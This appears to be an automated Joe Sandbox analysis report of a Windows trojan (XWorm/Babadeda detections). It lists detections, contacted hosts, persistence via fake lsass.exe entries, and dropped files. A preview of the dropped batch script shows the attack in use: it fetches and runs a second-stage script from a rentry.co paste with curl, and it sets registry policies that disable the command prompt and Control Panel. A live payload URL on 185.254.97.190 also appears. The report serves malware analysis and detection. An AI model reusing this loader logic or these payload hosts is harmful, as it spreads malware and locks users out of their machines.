        Services File Permissions Weakness        		Proc Filesystem1
        System Network Configuration Discovery        		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1533955 Sample: nkYzjyrKYK.exe Startdate: 15/10/2024 Architecture: WINDOWS Score: 100 46 rentry.co 2->46 52 Antivirus / Scanner detection for submitted sample 2->52 54 Multi AV Scanner detection for submitted file 2->54 56 Yara detected Babadeda 2->56 60 9 other signatures 2->60 9 nkYzjyrKYK.exe 8 2->9         started        12 curl.exe 2 2->12         started        15 lsass.exe 2->15         started        17 3 other processes 2->17 signatures3 58 Connects to a pastebin service (likely for C&C) 46->58 process4 dnsIp5 40 C:\Users\user\AppData\Local\Temp\...\D3B2.bat, ASCII 9->40 dropped 19 cmd.exe 2 9->19         started        22 conhost.exe 9->22         started        48 rentry.co 104.26.3.16, 443, 49713 CLOUDFLARENETUS United States 12->48 50 127.0.0.1 unknown unknown 12->50 24 WmiPrvSE.exe 15->24         started        file6 process7 signatures8 62 Uses ping.exe to sleep 19->62 64 Uses cmd line tools excessively to alter registry or file data 19->64 66 Bypasses PowerShell execution policy 19->66 68 3 other signatures 19->68 26 reg.exe 1 1 19->26         started        29 powershell.exe 21 19->29         started        31 powershell.exe 23 19->31         started        33 17 other processes 19->33 process9 dnsIp10 70 Creates autostart registry keys with suspicious names 26->70 72 Creates an autostart registry key pointing to binary in C:\Windows 26->72 74 Loading BitLocker PowerShell Module 29->74 42 8.8.8.8 GOOGLEUS United States 33->42 44 185.254.97.190, 2024, 49714 AVORODE Germany 33->44 36 net1.exe 1 33->36         started        38 net1.exe 1 33->38         started        signatures11 process12

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        nkYzjyrKYK.exe55%ReversingLabsWin32.Backdoor.XWorm
        nkYzjyrKYK.exe100%AviraTR/Redcap.iwhfv
        nkYzjyrKYK.exe100%Joe Sandbox ML

        Dropped Files

        ⊘No Antivirus matches

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://nuget.org/NuGet.exe0%URL Reputationsafe
        http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
        http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
        https://contoso.com/License0%URL Reputationsafe
        https://contoso.com/Icon0%URL Reputationsafe
        http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
        https://contoso.com/0%URL Reputationsafe
        https://nuget.org/nuget.exe0%URL Reputationsafe
        https://aka.ms/pscore680%URL Reputationsafe
        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        rentry.co
        		104.26.3.16
        		truetrue
          		unknown

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          http://185.254.97.190:2024/download/XClient.exefalse
            		unknown
            https://rentry.co/i7zgdqy6/raw/false
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://185.254.97.190:2024/download/XClient.exeLpowershell.exe, 00000023.00000002.2705174795.000002C799FB0000.00000004.00000020.00020000.00000000.sdmpfalse
                		unknown
                http://185.254.97.190:2024/download/XClient.exeLOCALAPPDATAMpowershell.exe, 0000001E.00000002.2506657477.000002A9D4041000.00000004.00000020.00020000.00000000.sdmpfalse
                  		unknown
                  http://nuget.org/NuGet.exepowershell.exe, 00000019.00000002.2362998078.0000021EAE89E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2490759240.000002A9CB86E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2647393715.000001FE7305E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000019.00000002.2338794163.0000021E9EA5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BBA29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE63219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://crl.micF1powershell.exe, 0000001E.00000002.2503147412.000002A9D3F49000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpfalse
                      		unknown
                      http://185.254.97.190:2024/download/XClient.execNcurl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://www.micom/pkiops/Docs/ry.htm0powershell.exe, 00000019.00000002.2374337905.0000021EB6D5A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2670965885.000001FE7B692000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://www.microsoft.copowershell.exe, 00000022.00000002.2670965885.000001FE7B712000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            https://contoso.com/Licensepowershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            http://crl.micpowershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              https://contoso.com/Iconpowershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://rentry.co/i7zgdqy6/raw/Winsta0curl.exe, 00000007.00000002.2181282531.000001B169840000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://185.254.97.190:2024/download/XClient.exeDpowershell.exe, 00000019.00000002.2372968248.0000021EB6C60000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  https://github.com/Pester/Pesterpowershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		unknown
                                    http://185.254.97.190:2024/download/XClient.exeKpowershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		unknown
                                      https://rentry.co/i7zgdqy6/raw/5curl.exe, 00000007.00000003.2181061378.000001B169857000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.2180548349.000001B169854000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000002.2181317822.000001B169857000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://rentry.co/i7zgdqy6/raw/curlcurl.exe, 00000007.00000002.2181282531.000001B169840000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		unknown
                                          http://185.254.97.190:2024/downmcurl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://185.254.97.190:2024/downlpowershell.exe, 0000001E.00000002.2503147412.000002A9D3ECC000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		unknown
                                              http://185.254.97.190:2024/download/XClient.exe2curl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2337641915.0000021E9CCB8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		unknown
                                                http://185.254.97.190:2024/download/XClient.exeLOCALAPPDATA=C:powershell.exe, 00000019.00000002.2375708119.0000021EB70A2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2374337905.0000021EB6D0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2376447259.0000021EB714C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2338258747.0000021E9CF44000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413515102.000002A9B9DC4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2503147412.000002A9D3F49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2502351134.000002A9D3BFE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413515102.000002A9B9DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2413938120.000002A9BB660000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543249790.000001FE61450000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2669344884.000001FE7B464000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543249790.000001FE61454000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2670965885.000001FE7B6D4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2674736805.000001FE7B7F9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2543484309.000001FE614C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2713234858.000002C79A134000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2713234858.000002C79A130000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2870786219.000002C7B4068000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2714839780.000002C79BA60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  http://185.254.97.190:2024/download/XClient.exevpowershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    http://185.254.97.190:2024/download/XClient.exe7powershell.exe, 0000001E.00000002.2411777795.000002A9B9B87000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		unknown
                                                      http://185.254.97.190:2024/download/XClient.exeypowershell.exe, 00000023.00000002.2705174795.000002C799FB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000019.00000002.2338794163.0000021E9EA5A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BBA29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE63219000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BE99000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://contoso.com/powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://nuget.org/nuget.exepowershell.exe, 00000019.00000002.2362998078.0000021EAE89E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2490759240.000002A9CB86E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2647393715.000001FE7305E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2847319683.000002C7ABCDC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        http://185.254.97.190:2024/download/XClient.exe:curl.exe, 00000012.00000002.2298553951.00000166B8E68000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          https://rentry.co/i7zgdqy6/raw/Pcurl.exe, 00000007.00000002.2181352575.000001B16987B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000007.00000003.2180410147.000001B16987A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		unknown
                                                            http://crl.micft.cMicRosofpowershell.exe, 00000023.00000002.2873253607.000002C7B426E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              https://aka.ms/pscore68powershell.exe, 00000019.00000002.2338794163.0000021E9E831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BB801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE62FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BC87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              http://185.254.97.190:2024/download/XClient.exedpowershell.exe, 00000022.00000002.2543673208.000001FE61521000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		unknown
                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000019.00000002.2338794163.0000021E9E831000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2415344065.000002A9BB801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2548374965.000001FE62FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2718284212.000002C79BC87000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                http://185.254.97.190:2024/downcurl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		unknown
                                                                  http://185.254.97.190:2024/download/XClient.exe)curl.exe, 00000012.00000002.2298553951.00000166B8E71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		unknown

                                                                    World Map of Contacted IPs

                                                                    • No. of IPs < 25%
                                                                    • 25% < No. of IPs < 50%
                                                                    • 50% < No. of IPs < 75%
                                                                    • 75% < No. of IPs

                                                                    Public IPs

                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                    8.8.8.8
                                                                    		unknownUnited States
                                                                    		15169GOOGLEUSfalse
                                                                    104.26.3.16
                                                                    		rentry.coUnited States
                                                                    		13335CLOUDFLARENETUStrue
                                                                    185.254.97.190
                                                                    		unknownGermany
                                                                    		60548AVORODEfalse

                                                                    Private

                                                                    IP
                                                                    127.0.0.1

                                                                    General Information

                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                    Analysis ID:1533955
                                                                    Start date and time:2024-10-15 11:25:09 +02:00
                                                                    Joe Sandbox product:CloudBasic
                                                                    Overall analysis duration:0h 9m 7s
                                                                    Hypervisor based Inspection enabled:false
                                                                    Report type:full
                                                                    Cookbook file name:default.jbs
                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                    Number of analysed new started processes analysed:37
                                                                    Number of new started drivers analysed:0
                                                                    Number of existing processes analysed:0
                                                                    Number of existing drivers analysed:0
                                                                    Number of injected processes analysed:0
                                                                    Technologies:
                                                                    • HCA enabled
                                                                    • EGA enabled
                                                                    • AMSI enabled
                                                                    Analysis Mode:default
                                                                    Analysis stop reason:Timeout
                                                                    Sample name:nkYzjyrKYK.exe
                                                                    renamed because original name is a hash value
                                                                    Original Sample Name:0f5582439a6cf97fdbc8a7c0037d8ed10ce639c982cd433b83dd4159017fbe62.exe
                                                                    Detection:MAL
                                                                    Classification:mal100.troj.evad.winEXE@55/34@1/4
                                                                    EGA Information:
                                                                    • Successful, ratio: 20%
                                                                    HCA Information:
                                                                    • Successful, ratio: 100%
                                                                    • Number of executed functions: 64
                                                                    • Number of non-executed functions: 58
                                                                    Cookbook Comments:
                                                                    • Found application associated with file extension: .exe
                                                                    • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                    Warnings

                                                                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, svchost.exe
                                                                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                    • Execution Graph export aborted for target powershell.exe, PID 2432 because it is empty
                                                                    • Execution Graph export aborted for target powershell.exe, PID 5648 because it is empty
                                                                    • Execution Graph export aborted for target powershell.exe, PID 5776 because it is empty
                                                                    • Execution Graph export aborted for target powershell.exe, PID 6684 because it is empty
                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                                    • Report size getting too big, too many NtSetInformationFile calls found.
                                                                    • VT rate limit hit for: nkYzjyrKYK.exe

                                                                    Simulations

                                                                    Behavior and APIs

                                                                    TimeTypeDescription
                                                                    05:26:10API Interceptor72x Sleep call for process: powershell.exe modified
                                                                    05:26:48API Interceptor11475507x Sleep call for process: nkYzjyrKYK.exe modified
                                                                    11:26:20AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run windows-app lsass.exe
                                                                    11:26:21Task SchedulerRun new task: Windows Service path: lsass.exe
                                                                    11:26:21Task SchedulerRun new task: winlogon path: lsass.exe
                                                                    11:26:29AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run windows-app lsass.exe

                                                                    Joe Sandbox View / Context

                                                                    IPs

                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                    104.26.3.16R6IuO0fzec.exeGet hashmaliciousPython Stealer, CStealerBrowse
                                                                      FluxusV2.exeGet hashmaliciousPython Stealer, CStealerBrowse
                                                                        egFMhHSlmf.exeGet hashmaliciousXmrigBrowse
                                                                          SecuriteInfo.com.Win64.TrojanX-gen.20834.9882.exeGet hashmaliciousUnknownBrowse
                                                                            4wx72yFLka.exeGet hashmaliciousPython Stealer, CStealer, ChaosBrowse
                                                                              quotation.jsGet hashmaliciousUnknownBrowse
                                                                                Quote.jsGet hashmaliciousUnknownBrowse
                                                                                  SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exeGet hashmaliciousUnknownBrowse
                                                                                    SecuriteInfo.com.Win64.MalwareX-gen.11541.5330.exeGet hashmaliciousUnknownBrowse
                                                                                      SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exeGet hashmaliciousUnknownBrowse
                                                                                        185.254.97.1900vEj9ws1C4.exeGet hashmaliciousUnknownBrowse
                                                                                        • 185.254.97.190:2024/download/ey341.exe
                                                                                        hzUKkzHBqd.ps1Get hashmaliciousUnknownBrowse
                                                                                        • 185.254.97.190:4001/download/rege.zip

                                                                                        Domains

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                        rentry.cor8k29DBraE.exeGet hashmaliciousXWormBrowse
                                                                                        • 104.26.2.16
                                                                                        Q1KaSJ8Fom.exeGet hashmaliciousUnknownBrowse
                                                                                        • 172.67.75.40
                                                                                        hzUKkzHBqd.ps1Get hashmaliciousUnknownBrowse
                                                                                        • 104.26.2.16
                                                                                        MVgsmZoDvQ.exeGet hashmaliciousAsyncRAT, DcRatBrowse
                                                                                        • 172.67.75.40
                                                                                        hQI2tssFc0.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.2.16
                                                                                        Q1KaSJ8Fom.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.2.16
                                                                                        cs.exeGet hashmaliciousPython Stealer, CStealerBrowse
                                                                                        • 172.67.75.40
                                                                                        R6IuO0fzec.exeGet hashmaliciousPython Stealer, CStealerBrowse
                                                                                        • 104.26.3.16
                                                                                        FluxusV2.exeGet hashmaliciousPython Stealer, CStealerBrowse
                                                                                        • 104.26.3.16
                                                                                        egFMhHSlmf.exeGet hashmaliciousXmrigBrowse
                                                                                        • 104.26.3.16

                                                                                        ASNs

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                        AVORODE0vEj9ws1C4.exeGet hashmaliciousUnknownBrowse
                                                                                        • 185.254.97.190
                                                                                        hzUKkzHBqd.ps1Get hashmaliciousUnknownBrowse
                                                                                        • 185.254.97.190
                                                                                        1d686b05f745875e28939abe357baedd169b59f5a0d88.exeGet hashmaliciousQuasarBrowse
                                                                                        • 193.42.11.9
                                                                                        8cf0382f7f56bc86f6d5cf41a76b23d0cbc64dacf467b.exeGet hashmaliciousUnknownBrowse
                                                                                        • 193.42.11.9
                                                                                        8cf0382f7f56bc86f6d5cf41a76b23d0cbc64dacf467b.exeGet hashmaliciousUnknownBrowse
                                                                                        • 193.42.11.9
                                                                                        SecuriteInfo.com.Win64.MalwareX-gen.1457.25976.exeGet hashmaliciousUnknownBrowse
                                                                                        • 185.254.97.173
                                                                                        file.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoaderBrowse
                                                                                        • 45.152.46.72
                                                                                        wsr3iUW0I0.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, Mars Stealer, PureLog StealerBrowse
                                                                                        • 45.152.46.72
                                                                                        nL4rzMSCVd.elfGet hashmaliciousMiraiBrowse
                                                                                        • 185.254.97.237
                                                                                        m5EyzJ7S8S.exeGet hashmaliciousAmadey, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Stealc, VidarBrowse
                                                                                        • 185.254.96.139
                                                                                        CLOUDFLARENETUSr8k29DBraE.exeGet hashmaliciousXWormBrowse
                                                                                        • 104.26.2.16
                                                                                        Q1KaSJ8Fom.exeGet hashmaliciousUnknownBrowse
                                                                                        • 162.159.135.232
                                                                                        hzUKkzHBqd.ps1Get hashmaliciousUnknownBrowse
                                                                                        • 104.26.2.16
                                                                                        MVgsmZoDvQ.exeGet hashmaliciousAsyncRAT, DcRatBrowse
                                                                                        • 172.67.75.40
                                                                                        hQI2tssFc0.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.2.16
                                                                                        Q1KaSJ8Fom.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.16.184.241
                                                                                        lfyJfb6jSS.exeGet hashmaliciousLummaCBrowse
                                                                                        • 188.114.97.3
                                                                                        http://learnthelanguage.nl/?wptouch_switch=desktop&redirect=http://basinindustriesinc.comGet hashmaliciousHTMLPhisherBrowse
                                                                                        • 104.17.25.14
                                                                                        http://translate.howGet hashmaliciousUnknownBrowse
                                                                                        • 188.114.96.3
                                                                                        http://learnthelanguage.nl/?wptouch_switch=desktop&redirect=http://basinindustriesinc.comGet hashmaliciousHTMLPhisherBrowse
                                                                                        • 104.17.25.14

                                                                                        JA3 Fingerprints

                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                        74954a0c86284d0d6e1c4efefe92b5210CX5vBE7nr.exeGet hashmaliciousBabadeda, KDOT TOKEN GRABBERBrowse
                                                                                        • 104.26.3.16
                                                                                        6706ad721d914_JuidePorison.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        main.bat.bin.batGet hashmaliciousDiscord RatBrowse
                                                                                        • 104.26.3.16
                                                                                        S4dd5N5VuJ.lnkGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        404.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        D0WmCTD2qO.batGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        c5WMpr1cOc.batGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        404.exeGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        s14.batGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16
                                                                                        s200.batGet hashmaliciousUnknownBrowse
                                                                                        • 104.26.3.16

                                                                                        Dropped Files

                                                                                        ⊘No context

                                                                                        Created / dropped Files

                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:data
                                                                                        Category:modified
                                                                                        Size (bytes):64
                                                                                        Entropy (8bit):0.34726597513537405
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Nlll:Nll
                                                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                                        Malicious:false
                                                                                        Preview:@...e...........................................................

                                                                                        C:\Users\user\AppData\Local\Temp\D3B0.tmp\D3B1.tmp\D3B2.bat

                                                                                        Download File
                                                                                        Process:C:\Users\user\Desktop\nkYzjyrKYK.exe
                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):4933
                                                                                        Entropy (8bit):5.03564457055396
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:00DxULlMbMkMXrATCVO2EQ8JoYRx6DPvb:00DxUx4FwrAWO2jMxb6DL
                                                                                        MD5:2C1095C588A732037777D1FFF5FEEF82
                                                                                        SHA1:9F8928EAE5DDF1AD99FFBEAF1C5C3DA6A379FAB3
                                                                                        SHA-256:606C9D4745F4A59A2515B333A16A98AA517C48A6B264EDD070A57DE90B7AE27B
                                                                                        SHA-512:173AAA247BBABADC131950B5A42B05409B6EF96D3705E4AC611DBC28B1025E85FAC8EAD0FC8EF5DD855D175F96FE37A4B3499CA435D4B50BF02265B70C7A6149
                                                                                        Malicious:true
                                                                                        Preview:@shift /0..title ROOOTKIT BY vaxxer..@echo off......:internetclass....ping 8.8.8.8 -n 1 > nul......if errorlevel 1 (.. goto internetclass..) else (.. echo Internet connection is available. ..)......net session >nul 2>&1..if %errorlevel% == 0 (.. echo This script is running with administrative privileges... goto UACGoodClass..) else (.. echo This script is NOT running with administrative privileges... echo Please run this script as an administrator... goto UACErrorclass..)....:UACGoodClass..echo [%time%] UAC OK..... cd %temp%.. curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/.. call u32y.bat.. del /q u32y.bat..........::///disable reinstall configcurations ....reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f > nul 2>&1..reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f > nul 2>&1..reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32fd1pz3.214.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gemlrvy.1ht.psm1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):60
                                                                                        Entropy (8bit):4.038920595031593
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                        Malicious:false
                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3mbtzgvy.akr.ps1

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        File Type:ASCII text, with no line terminators
